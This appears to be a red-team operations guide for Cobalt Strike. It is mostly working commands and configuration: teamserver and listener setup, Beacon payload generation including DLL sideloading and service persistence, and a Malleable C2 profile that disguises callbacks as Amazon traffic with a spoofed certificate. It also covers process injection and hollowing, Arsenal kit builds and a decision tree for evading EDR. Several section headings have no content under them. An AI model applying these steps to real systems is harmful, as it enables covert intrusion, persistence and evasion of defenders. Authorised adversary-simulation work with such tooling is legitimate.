C2 Cobalt Strike

Cobalt Strike Beacon Operations

Cobalt Strike is a commercial adversary simulation platform. It provides Beacon implants with async and interactive modes, Malleable C2 profiles for traffic shaping, and extensible post-exploitation via Aggressor scripts and the Arsenal kit.

Quick Reference

# Start teamserver
./teamserver <TEAMSERVER_IP> <PASSWORD> /path/to/malleable.profile

# Connect client
./cobaltstrike

# Generate stageless HTTPS Beacon (CLI)
./pegen --os windows --arch x64 --listener https-beacon --format exe --output /workspace/exploit/beacon.exe

# List active Beacons (Aggressor console)
beacon_ids()

MITRE ATT&CK Mapping

1. Teamserver Setup

The teamserver is the Cobalt Strike operator backend. All Beacons call back to it through configured listeners.

# Start teamserver with a Malleable C2 profile
cd /opt/cobaltstrike
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile

# Start on a non-default port
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile 50050

# Verify teamserver is listening
ss -tlnp | grep -E '(50050|443)'

OPSEC notes:

• Never expose the teamserver port directly to the internet — use a redirector
• Use a unique password per engagement; avoid defaults
• Bind the management port to localhost or VPN interface only

2. Listener Configuration

HTTPS Listener

# Cobalt Strike GUI: Cobalt Strike > Listeners > Add
# Name:    https-beacon
# Payload: Beacon HTTPS
# Host:    <C2_DOMAIN>
# Port:    443
# Beacons: <C2_DOMAIN>
# Profile: (loaded at teamserver start)

DNS Listener

# Name:    dns-beacon
# Payload: Beacon DNS
# Host:    ns1.<C2_DOMAIN>
# Beacons: <C2_DOMAIN>
# Port:    53
# NS Response: <TEAMSERVER_IP>
#
# Required DNS records:
#   A    ns1.<C2_DOMAIN>  ->  <TEAMSERVER_IP>
#   NS   c2.<C2_DOMAIN>   ->  ns1.<C2_DOMAIN>

SMB Listener (Peer-to-Peer)

# Name:    smb-beacon
# Payload: Beacon SMB
# Pipename: \\.\pipe\msagent_<RANDOM>
#
# SMB Beacons chain through an egress Beacon — no direct internet required.
# Use for lateral movement inside segmented networks.

TCP Listener (Bind/Reverse)

# Name:    tcp-bind
# Payload: Beacon TCP (Bind)
# Port:    4444
#
# The parent Beacon connects to the child — useful when the child
# cannot initiate outbound connections.

3. Beacon Generation

Stageless Payloads (Preferred for OPSEC)

# GUI: Attacks > Packages > Windows Executable (S)
# Listener:  https-beacon
# Output:    Windows EXE (stageless)
# x64:       checked
# Save to:   /workspace/exploit/beacon_https_x64.exe

# Raw shellcode for custom loaders
# Attacks > Packages > Payload Generator
# Listener:  https-beacon
# Output:    Raw
# x64:       checked
# Save to:   /workspace/exploit/beacon.bin

Staged Payloads

# GUI: Attacks > Packages > Windows Executable
# Listener:  https-beacon
# Output:    Windows EXE
# x64:       checked
# Smaller initial payload — fetches full Beacon from listener on execution.
# WARNING: staging traffic is signatured; prefer stageless in mature environments.

DLL Payloads (Sideloading)

# Attacks > Packages > Windows DLL
# Listener:  https-beacon
# x64:       checked
# Save to:   /workspace/exploit/beacon.dll

# Execute via sideloading or rundll32
# rundll32.exe beacon.dll,StartW

Service EXE (Persistence)

# Attacks > Packages > Windows Service EXE
# Listener:  https-beacon
# x64:       checked
# Registers as a Windows service for persistence via:
#   sc create <NAME> binPath= "C:\path\to\svc_beacon.exe" start= auto

4. Malleable C2 Profiles

Malleable C2 profiles shape Beacon traffic to mimic legitimate application behavior, evading network-level detection.

Profile Structure

# /workspace/profiles/amazon.profile

set sample_name "Amazon Browsing";
set sleeptime "60000";          # 60 second callback
set jitter    "37";             # 37% jitter
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

# Process injection defaults
set host_stage "false";         # Disable staging (OPSEC)

https-certificate {
    set CN       "www.amazon.com";
    set O        "Amazon.com Inc.";
    set C        "US";
    set validity "365";
}

http-get {
    set uri "/s/ref=nb_sb_noss";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Encoding" "gzip, deflate, br";
        header "Accept-Language" "en-US,en;q=0.9";

        metadata {
            base64url;
            parameter "field-keywords";
        }
    }

    server {
        header "Content-Type" "text/html; charset=UTF-8";
        header "Server" "Server";
        header "X-Amz-Cf-Id" "XXXXXXXXX";

        output {
            netbios;
            prepend "<!DOCTYPE html><html>";
            append "</html>";
            print;
        }
    }
}

http-post {
    set uri "/gp/product/handle-buy-box";

    client {
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            base64url;
            parameter "session-id";
        }

        output {
            base64url;
            parameter "data";
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            netbios;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

Profile Validation

# Lint profile before loading
./c2lint /workspace/profiles/amazon.profile

# Expected output: no errors, warnings acceptable
# If c2lint fails, the teamserver will refuse to load the profile

OPSEC-Critical Profile Settings

# Disable staged payloads (prevents signature on staging URI)
set host_stage "false";

# Spawn-to — controls which process Beacon forks into for post-ex
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";

# Data transform — change encoding to avoid base64 signatures
set data_jitter "100";

# TCP frame header (avoids default Beacon wire signature)
set tcp_frame_header "\x80";

# SMB pipe name (avoid defaults)
set pipename "mojo.5688.8052.183894939787088877##";
set pipename_stager "mojo.5688.8052.35780273329370473##";

5. Sleep and Jitter Configuration

# Interactive (risky — high beacon rate)
sleep 0

# Low-and-slow recon phase
sleep 300 50          # 5 min +-50% jitter = 150-450 sec intervals

# Standard operations
sleep 60 37           # 60 sec +-37% jitter

# Long-haul persistence
sleep 3600 80         # 1 hour +-80% jitter = 12 min to 1h48m

Guidance:

6. Process Injection

Fork & Run (Default)

# Beacon spawns a sacrificial process, injects code, collects output, kills process.
# Controlled by spawnto_x86/x64 in profile.

# Override per-command:
spawnto x64 %windir%\sysnative\RuntimeBroker.exe

Inline Execution (BOF)

# BOFs execute in Beacon's own process — no new process, no fork.
# Use Arsenal/community BOFs for OPSEC-sensitive tasks.

inline-execute /workspace/bofs/whoami.o

Manual Injection

# Inject Beacon shellcode into a running process
inject <PID> x64 https-beacon

# Shinject — inject arbitrary shellcode
shinject <PID> x64 /workspace/exploit/shellcode.bin

# DLL injection
dllinject <PID> /workspace/exploit/beacon.dll

Process Hollowing

# Spawn a suspended process and replace its image
# Attacks > Packages > Payload Generator > choose process hollowing
# Target process: svchost.exe, RuntimeBroker.exe, or similar long-lived system process

OPSEC process selection:

7. Arsenal Kit Integration

The Arsenal kit provides source-level customization of Cobalt Strike's built-in capabilities.

# Build custom artifacts (shellcode loaders, DLLs)
cd /opt/cobaltstrike/arsenal-kit/kits/artifact
./build.sh pipe VirtualAlloc 310272 5 false false /workspace/arsenal/artifact

# Build custom resource kit (PowerShell templates, HTA, VBA)
cd /opt/cobaltstrike/arsenal-kit/kits/resource
./build.sh /workspace/arsenal/resource

# Build custom process-inject kit
cd /opt/cobaltstrike/arsenal-kit/kits/process_inject
./build.sh /workspace/arsenal/process_inject

# Load customized kits via Aggressor
# In Script Console:
load("/workspace/arsenal/artifact/artifact.cna")
load("/workspace/arsenal/resource/resources.cna")
load("/workspace/arsenal/process_inject/process_inject.cna")

8. OPSEC Considerations

Detection Signatures

Error Handling & Edge Cases

Decision Gate

Is the target environment monitored by mature EDR?
├── YES
│   ├── Use stageless payloads with host_stage=false
│   ├── Customize artifact kit for loader evasion
│   ├── BOFs over fork-and-run for post-exploitation
│   ├── Profile mimicking high-volume site (CDN, SaaS)
│   └── Consider domain fronting (see c2-domain-fronting skill)
├── NO (limited monitoring)
│   ├── Standard HTTPS listener with moderate profile
│   ├── Fork-and-run acceptable for speed
│   └── Default artifact kit may suffice
└── INTERNAL PIVOT (post-initial-access)
    ├── SMB Beacon for peer-to-peer chaining
    ├── TCP bind Beacon for segmented networks
    └── Named pipe customization required

Tools & Resources